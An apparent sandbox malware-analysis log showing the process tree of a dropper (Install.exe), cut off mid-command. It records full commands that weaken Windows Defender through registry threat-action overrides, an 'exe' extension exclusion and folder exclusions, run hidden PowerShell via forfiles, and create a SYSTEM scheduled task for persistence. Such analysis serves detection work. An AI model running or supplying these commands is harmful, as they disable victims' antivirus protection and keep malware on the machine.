PID 3504 wrote to memory of 3796	3504	cmd.exe	reg.exe
PID 2468 wrote to memory of 4984	2468	cmd.exe	forfiles.exe
PID 2468 wrote to memory of 4984	2468	cmd.exe	forfiles.exe
PID 2468 wrote to memory of 4984	2468	cmd.exe	forfiles.exe
PID 4984 wrote to memory of 3988	4984	forfiles.exe	cmd.exe
PID 4984 wrote to memory of 3988	4984	forfiles.exe	cmd.exe
PID 4984 wrote to memory of 3988	4984	forfiles.exe	cmd.exe
PID 3988 wrote to memory of 1292	3988	cmd.exe	reg.exe
PID 3988 wrote to memory of 1292	3988	cmd.exe	reg.exe
PID 3988 wrote to memory of 1292	3988	cmd.exe	reg.exe
PID 2468 wrote to memory of 3804	2468	cmd.exe	forfiles.exe
PID 2468 wrote to memory of 3804	2468	cmd.exe	forfiles.exe
PID 2468 wrote to memory of 3804	2468	cmd.exe	forfiles.exe
PID 3804 wrote to memory of 3076	3804	forfiles.exe	cmd.exe
PID 3804 wrote to memory of 3076	3804	forfiles.exe	cmd.exe
PID 3804 wrote to memory of 3076	3804	forfiles.exe	cmd.exe
PID 3076 wrote to memory of 4904	3076	cmd.exe	powershell.exe
PID 3076 wrote to memory of 4904	3076	cmd.exe	powershell.exe
PID 3076 wrote to memory of 4904	3076	cmd.exe	powershell.exe
PID 780 wrote to memory of 4504	780	Install.exe	forfiles.exe
PID 780 wrote to memory of 4504	780	Install.exe	forfiles.exe
PID 780 wrote to memory of 4504	780	Install.exe	forfiles.exe
PID 4504 wrote to memory of 1056	4504	forfiles.exe	cmd.exe
PID 4504 wrote to memory of 1056	4504	forfiles.exe	cmd.exe
PID 4504 wrote to memory of 1056	4504	forfiles.exe	cmd.exe
PID 1056 wrote to memory of 676	1056	cmd.exe	powershell.exe
PID 1056 wrote to memory of 676	1056	cmd.exe	powershell.exe
PID 1056 wrote to memory of 676	1056	cmd.exe	powershell.exe
PID 4904 wrote to memory of 4380	4904	powershell.exe	gpupdate.exe

C:\Users\Admin\AppData\Local\Temp\8f3739a48f3309a717d2010c14e4c6f7c7b4c212940024cc5937b43d7d914e10.exe
"C:\Users\Admin\AppData\Local\Temp\8f3739a48f3309a717d2010c14e4c6f7c7b4c212940024cc5937b43d7d914e10.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4472

C:\Users\Admin\AppData\Local\Temp\7zSBA57.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3564

C:\Users\Admin\AppData\Local\Temp\7zSBEEB.tmp\Install.exe
.\Install.exe /MQgEdidHb "525403" /S
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:780

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
4⤵
- Suspicious use of WriteProcessMemory
PID:2468

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
5⤵
- Suspicious use of WriteProcessMemory
PID:3468

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
6⤵
- Suspicious use of WriteProcessMemory
PID:4428

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
7⤵
PID:2348

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
5⤵
- Suspicious use of WriteProcessMemory
PID:3152

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
6⤵
- Suspicious use of WriteProcessMemory
PID:2236

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
7⤵
PID:464

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
5⤵
- Suspicious use of WriteProcessMemory
PID:2420

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
6⤵
- Suspicious use of WriteProcessMemory
PID:3504

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
7⤵
PID:3796

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
5⤵
- Suspicious use of WriteProcessMemory
PID:4984

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
6⤵
- Suspicious use of WriteProcessMemory
PID:3988

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
7⤵
PID:1292

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
5⤵
- Suspicious use of WriteProcessMemory
PID:3804

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
6⤵
- Suspicious use of WriteProcessMemory
PID:3076

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4904

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
8⤵
PID:4380

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
4⤵
- Suspicious use of WriteProcessMemory
PID:4504

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
5⤵
- Suspicious use of WriteProcessMemory
PID:1056

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:676

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:4852

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bqHlMUmkmlcBkJQYdf" /SC once /ST 23:34:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSBEEB.tmp\Install.exe\" Dh /XyedidrVrX 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2424

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqHlMUmkmlcBkJQYdf"
4⤵
PID:4620

C:\Windows\SysWOW64\cmd.exe
/C schtasks /run /I /tn bqHlMUmkmlcBkJQYdf
5⤵
PID:2656

\??\c:\windows\SysWOW64\schtasks.exe
schtasks /run /I /tn bqHlMUmkmlcBkJQYdf
6⤵
PID:1668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 780 -s 928
4⤵
- Program crash
PID:1916

C:\Users\Admin\AppData\Local\Temp\7zSBEEB.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSBEEB.tmp\Install.exe Dh /XyedidrVrX 525403 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1784

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
2⤵
PID:1148

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
3⤵
PID:5092

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
4⤵
PID:4192

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
5⤵
PID:2908

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
3⤵
PID:4548

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
4⤵
PID:232

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
5⤵
PID:4604

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
3⤵
PID:4820

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
4⤵
PID:4940

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
5⤵
PID:208

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
3⤵
PID:856

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
4⤵
PID:3884

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
5⤵
PID:236

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3⤵
PID:1452

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
4⤵
PID:3320

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2140

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
6⤵
PID:2248

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4176

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:1916

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:4568

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:3904

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:96

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:4768

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:4540

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:3428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:4844

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:4816

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:4200

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:4392

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:4880

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:2084

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:4416

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:2360

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:4804

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:2684

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:620

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:1952

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4376

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4172

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:2296

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:4904

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:3076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:3804

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
3⤵
PID:4528

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
3⤵
PID:3836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
3⤵
PID:196

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
3⤵
PID:4812

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BspasHMSlPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BspasHMSlPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JbudRisgU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JbudRisgU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KDIdGNeaPBYNADfhwFR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KDIdGNeaPBYNADfhwFR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VloXEwfyUAdsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VloXEwfyUAdsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zpocSIDFTSWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zpocSIDFTSWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\SRtRtaafQKnfEXVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\SRtRtaafQKnfEXVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows 